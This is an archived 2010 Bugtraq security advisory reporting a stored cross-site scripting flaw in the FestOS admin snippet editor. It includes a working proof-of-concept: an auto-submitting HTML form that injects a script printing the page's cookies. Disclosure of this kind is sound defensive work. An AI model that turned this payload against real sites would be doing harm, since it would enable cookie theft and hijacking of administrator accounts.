bugtraq - XSS vulnerability in FestOS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 15 Jul 2010 16:22:24 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in FestOS

Vulnerability ID: HTB22473
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_festos_1.html
Product: FestOS
Vendor: Skypanther Studios, Inc ( http://festengine.org/ ) 
Vulnerable Version: 2.3b and Probably Prior Versions
Vendor Notification: 01 July 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/do_snippets_edit.php" script to properly sanitize user-supplied input in "contents" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" >
<input type="hidden" name="snippetID" value="1" />
<input type="hidden" name="title" value="Site footer" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' />
</form>

<script>
document.main.submit();
</script>